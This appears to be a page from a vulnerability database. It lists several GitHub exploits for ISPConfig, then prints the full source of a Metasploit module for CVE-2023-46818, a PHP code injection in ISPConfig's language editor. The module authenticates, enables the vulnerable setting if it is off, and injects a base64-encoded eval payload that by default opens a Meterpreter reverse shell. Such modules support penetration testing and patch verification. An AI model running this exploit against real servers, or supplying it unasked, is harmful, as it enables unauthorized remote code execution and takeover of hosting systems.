| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| Exploit for Code Injection in Ispconfig | 2 May 202504:51 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Backdropcms Backdrop_Cms | 27 Apr 202517:54 | – | githubexploit | |
| Exploit for Code Injection in Ispconfig | 13 Apr 202519:12 | – | githubexploit | |
| Exploit for Code Injection in Ispconfig | 28 May 202515:18 | – | githubexploit | |
| Exploit for Code Injection in Ispconfig | 6 Sep 202502:27 | – | githubexploit | |
| Exploit for Code Injection in Ispconfig | 14 Jun 202513:38 | – | githubexploit | |
| Exploit for Code Injection in Ispconfig | 31 Jul 202521:32 | – | githubexploit | |
| Exploit for Code Injection in Ispconfig | 8 Oct 202411:22 | – | githubexploit | |
| Exploit for Code Injection in Ispconfig | 14 Jun 202513:38 | – | githubexploit | |
| Exploit for Code Injection in Ispconfig | 13 Apr 202514:55 | – | githubexploit |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ISPConfig language_edit.php PHP Code Injection',
'Description' => %q{
This module exploits a PHP code injection vulnerability in ISPConfig's
language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
setting is enabled, allowing authenticated administrators to inject arbitrary
PHP code through the language editor interface.
This module will automatically check if the required `admin_allow_langedit`
permission is enabled, and attempt to enable it if it's disabled (requires
admin credentials with system configuration access).
The exploit works by injecting a PHP payload into a language file, which
is then executed when the file is accessed. The payload is base64 encoded
and written using PHP's file_put_contents function.
},
'License' => MSF_LICENSE,
'Author' => [
'syfi', # Discovery and PoC
'Egidio Romano'
],
'References' => [
['CVE', '2023-46818'],
['URL', 'https://github.com/SyFi/CVE-2023-46818'],
['URL', 'https://karmainsecurity.com/KIS-2023-13'],
['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[
'Automatic PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'Privileged' => false,
'DisclosureDate' => '2023-10-24',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
])
end
def check
print_status('Checking if the target is ISPConfig...')
return CheckCode::Unknown('Failed to login') unless authenticate
# Always try to log in and parse version, since credentials are required
# cookie_jar.clear (handled in exploit)
# Try to access the dashboard or settings page
settings_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
'keep_cookies' => true
})
if settings_res
doc = settings_res.get_html_document
# Try to find version in a span, div, or similar element
version_element = doc.at('//p[@class="frmTextHead"]')
if version_element
version_text = version_element.text
version = version_text.split(':')[1].gsub(' ', '')
version = Rex::Version.new(version)
if version < Rex::Version.new('3.2.11p1')
print_good("ISPConfig version detected: #{version_text}")
return CheckCode::Appears("Version: #{version_text}")
end
end
end
CheckCode::Safe
end
def authenticate
print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login/'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
's_mod' => 'login'
},
'keep_cookies' => true
})
return false unless res
if res&.code == 302
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
})
end
body_downcase = res.body.downcase.freeze
return false if body_downcase.include?('username or password wrong')
if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
print_good('Login successful!')
return true
end
print_warning('Login status unclear, attempting to continue...')
true
end
def check_langedit_permission
print_status('Checking if admin_allow_langedit is enabled...')
# Try to access the language editor to see if it's accessible
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => edit_url,
'keep_cookies' => true
})
if res&.code == 200 && res.body.include?('language_edit')
print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
return true
elsif res&.code == 403
print_warning('Language editor access denied - admin_allow_langedit may be disabled')
return false
else
print_warning('Could not determine language editor accessibility')
return false
end
end
def enable_langedit_permission
print_status('Attempting to enable admin_allow_langedit...')
# Try to access the system settings page
settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => settings_url,
'keep_cookies' => true
})
unless res && res.code == 200
print_warning('Could not access system configuration page')
return false
end
doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
unless csrf_id && csrf_key
print_warning('Could not extract CSRF tokens from system config page')
return false
end
# Try to enable the setting
enable_data = {
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'admin_allow_langedit' => '1',
'action' => 'save'
}
res = send_request_cgi({
'method' => 'POST',
'uri' => settings_url,
'vars_post' => enable_data,
'keep_cookies' => true
})
if res&.code == 200
print_good('Successfully enabled admin_allow_langedit')
return true
else
print_warning('Failed to enable admin_allow_langedit')
return false
end
end
def inject_payload
print_status('Injecting PHP payload...')
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
b64_payload = Base64.strict_encode64(payload.encoded)
injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
initial_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file
}
res = send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => initial_data,
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
unless csrf_id && csrf_key
fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
end
print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
injection_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file,
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'records[\]' => injection
}
send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => injection_data,
'keep_cookies' => true
})
end
def exploit
cookie_jar.clear
fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate
# Check if language editor permissions are enabled
unless check_langedit_permission
print_warning('admin_allow_langedit appears to be disabled')
print_status('Attempting to enable admin_allow_langedit...')
if enable_langedit_permission
print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
# Re-check permissions after enabling
unless check_langedit_permission
fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
end
else
fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
end
end
inject_payload
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation